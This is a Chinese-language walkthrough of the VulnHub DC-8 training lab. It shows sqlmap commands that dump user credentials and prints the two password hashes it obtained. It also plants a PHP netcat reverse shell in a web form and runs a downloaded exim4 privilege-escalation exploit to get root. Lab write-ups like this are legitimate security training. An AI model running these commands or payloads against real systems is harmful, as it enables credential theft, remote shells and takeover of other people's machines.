靶场练习第十六天~vulnhub靶场之dc-8

一、准备工作

kali和靶机都选择NAT模式（kali与靶机同网段）

1.靶场环境

下载链接:https://download.vulnhub.com/dc/DC-8.zip

2.kali的ip

命令:ifconfig

3.靶机的ip

扫描靶机ip

sudo arp-scan -l

二、信息收集

1.nmap的信息收集

（1）扫描靶机开放的端口及其服务

nmap -A -p- 192.168.101.121

2.网站的信息收集

（1）靶机开放了80端口,先访问靶机网站看看有什么有用的信息

 

三、漏洞发现及其利用

（1）sql注入

1.使用sqlmap

sqlmap -u http://192.168.101.121?nid=1 -current-db -batch #获取当前数据库

sqlmap -u http://192.168.101.121/?nid=1 -D d7db -tables -batch # 获取表名

sqlmap -u http://192.168.101.121/?nid=1 -D d7db -T users -columns -batch #获取字段名

sqlmap -u http://192.168.101.121/?nid=1 -D d7db -T users -C name,pass -dump #获取账号密码

获取当前数据库

获取表名user

获取字段名name、pass

获取账号密码

2.john解码

创建一个文本将刚才获取到的密码放到里面，通过john解码

vi pass

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

：wq

cat pass

john pass

只得出一个turtle密码，不知道是admin还是john，都试一下

最后只能是john

登录成功

(2)反弹getshell

1.添加getshell

发现观察页面，发现Concat Us可以修改内容，到web写一个php反弹shell

点击form settins进行编写getshell的语句

dsasffafgssgss

<?php

system('nc -e /bin/bash 192.168.101.10 1234');

?>

页面最后面有一个save configuration，点击它保存

2.反弹shell

(1)在kali这边开启监听

nc -lvvp 1234

(2)回到刚才登录到页面,随便提交点东西

(3)回到kali，发现已经监听成功

(4)优化命令执行终端，执行下面命令进入python交互式(注意要下载python环境才能运行)

python -c 'import pty;pty.spawn("/bin/bash")'

(3)提权

1.查找具有suid权限的命令，发现可疑命令exim4,百度一下，exim是一款在Unix系统上使用的邮件服务，exim4在使用时具有root权限

find / -user root -perm -4000 -print 2>/dev/null

2.查看exim版本

/usr/sbin/exim4 --version

3.使用searchsploit工具查找exim版本脚本信息

searchsploit exim

4.将攻击代码下载到当前目录并使用dos2unix修改格式为unix，避免后面需要在脚本中再操作，或者在靶机上修改脚本内容（在文件内容终端输入:set ff=unix，使windows代码能在Unix上执行）

apt install dos2unix

cd /home

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /home

dos2unix 46996.sh

5.在kali开启一个Http服务

python -m SimpleHTTPServer

6.在靶机上将46996.sh脚本文件下载在靶机本地并提升权限

cd /tmp

wget http://192.168.101.10:8000/46996.sh

chmod 777 46996.sh

7.启动脚本进行提权

./46996.sh -m netcat

8.找到flag

cat /root/flag.txt